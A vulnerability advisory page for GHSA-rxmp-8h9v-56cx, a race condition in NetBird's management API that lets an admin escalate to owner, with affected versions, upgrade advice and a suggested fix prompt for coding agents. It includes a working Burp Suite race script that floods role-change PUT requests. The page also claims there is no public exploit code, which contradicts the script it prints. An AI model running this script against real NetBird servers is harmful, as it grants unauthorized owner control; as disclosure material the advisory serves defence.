# GHSA-rxmp-8h9v-56cx: NetBird has Race Condition on UpdateUser Function, Resulting in Privilege Escalation From Admin to Owner

> Authenticated admin users can escalate to owner privileges via a race condition in the user update function.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 1 Apr 2026
- **Also known as:** GO-2026-5646

## What is GHSA-rxmp-8h9v-56cx?

GHSA-rxmp-8h9v-56cx is a vulnerability in github.com/netbirdio/netbird, published on 1 Apr 2026. Any signed-in user can exploit it over the network, with no action from the victim.

### Official description

## Summary

A race condition vulnerability allows authenticated admin-privileged users to escalate to owner privilege.

## Details

The vulnerability exists in the `updateUser` function, which is connected to the `/users/{userId}` PUT request. This function then calls the `SaveOrAddUsers` function, which checks the user's permissions on two separate occasions. The first check verifies whether the initiator is an admin or owner and rejects the request if the initiator is not. The second check retrieves the user role details from the database again and saves them in a variable called `initiatorUser`.

### `SaveOrAddUsers` Function

**Location:** `netbird/management/server/user.go` — Line 556

![SaveOrAddUsers function code showing the two separate permission checks](https://github.com/user-attachments/assets/821e79a2-ad3e-45d7-a952-daf5422c1801)

Afterwards, the `validateUserUpdate` function is called, which checks if the initiator has permission to update that specific user's role. This validation is lacking, as it assumes the initiator is an admin or owner. In the case that the initiator is a regular user, these conditions do not apply, and the target can be updated to owner even when the initiator holds only a user role.

### `validateUserUpdate` Function

**Location:** `netbird/management/server/user.go` — Line 862

![validateUserUpdate function code showing the insufficient permission validation logic](https://github.com/user-attachments/assets/a7e7f2df-ee4c-45b4-9b4d-c71c605dbaaa)

In summary, if the initiator's permission is **admin** at the first check and gets dropped to **user** at the second check, the initiator can update a user to **owner**.

## Proof of Concept

It is possible to create the following attack:

The initiator (`old_admin`) creates two different accounts — one with a **user** role and another with an **admin** role. These will be referred to as `new_user` and `new_admin` from here on.

Two different requests are needed:

1. **Request 1** — Using `new_admin`'s JWT, a request is created that changes `old_admin`'s role to **user**.
2. **Request 2** — Using `old_admin`'s JWT, a request is created that changes `new_user`'s role to **owner**.

Both requests need valid user IDs and `auto_groups` group IDs. They should be sent simultaneously without waiting for prior requests to return.

There is a very small time gap between the first and second permission checks, so multiple tries and multiple copies of the requests may be needed. During a penetration test engagement, privilege escalation was achieved by using **5 copies of Request 1** and **100 copies of Request 2** without waiting for any request to complete. The request that updated the role to owner returned **500** status codes instead of **403**, which when retried returned **200** and successfully applied the update.

The following Burp Suite race condition script was used. Note that it may still require multiple tries, and the `old_admin` account role must be reset to **admin** after every failed attempt.

```python
import time

def queueRequests(target, wordlists):

    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=100,
        requestsPerConnection=100,
        pipeline=False
    )

    # Request 1
    req1 = """PUT /api/users/{OLD_ADMIN_USERID} HTTP/2
Host: CHANGE_WITH_HOST
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: application/json
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Authorization: Bearer {NEW_ADMIN_TOKEN}
Content-Length: 73
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

{"role":"user","auto_groups":[GROUP_ID],"is_blocked":false}"""

    # Request 2
    req2 = """PUT /api/users/{NEW_USER_USERID} HTTP/2
Host: CHANGE_WITH_HOST
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: application/json
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Authorization: Bearer {OLD_ADMIN_TOKEN}
Content-Length: 52
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

{"role":"owner","auto_groups":[],"is_blocked":false}"""

    # Send first request
    engine.queue(req1)
    engine.queue(req1)
    engine.queue(req1)
    engine.queue(req1)
    engine.queue(req1)

    # Send second request
    for i in range(100):
        engine.queue(req2)

def handleResponse(req, interesting):
    table.add(req)
```

## Impact

An attacker with an admin account on the self-hosted NetBird management application **v0.65.2 or lower** can escalate to owner privileges.

## Which versions are affected by GHSA-rxmp-8h9v-56cx?

3 open source packages ship an affected version, including github.com/netbirdio/netbird.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `github.com/netbirdio/netbird` | Go | All versions | 0.65.3 |
| `github.com/netbirdio/netbird` | Go | All versions | 0.65.3 |
| `github.com/netbirdio/netbird` | Go | All versions | 0.65.3 |

## How do I fix GHSA-rxmp-8h9v-56cx?

Upgrade github.com/netbirdio/netbird to 0.65.3 or later.

## Is GHSA-rxmp-8h9v-56cx being exploited?

There is no known exploitation of GHSA-rxmp-8h9v-56cx in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-rxmp-8h9v-56cx and fix it if it is affected.

What it is: GHSA-rxmp-8h9v-56cx is a vulnerability in github.com/netbirdio/netbird, published on 1 Apr 2026. Any signed-in user can exploit it over the network, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-rxmp-8h9v-56cx in the wild and no public exploit code.

Affected packages and fixed versions:
- github.com/netbirdio/netbird (Go): affected all versions; fixed in 0.65.3
- github.com/netbirdio/netbird (Go): affected all versions; fixed in 0.65.3
- github.com/netbirdio/netbird (Go): affected all versions; fixed in 0.65.3

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-rxmp-8h9v-56cx/ (Markdown: https://insights.sbomify.com/GHSA-rxmp-8h9v-56cx/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-rxmp-8h9v-56cx

---
From sbomify Insights: https://insights.sbomify.com/GHSA-rxmp-8h9v-56cx/
Summaries are generated and may contain mistakes; the official description above is the record.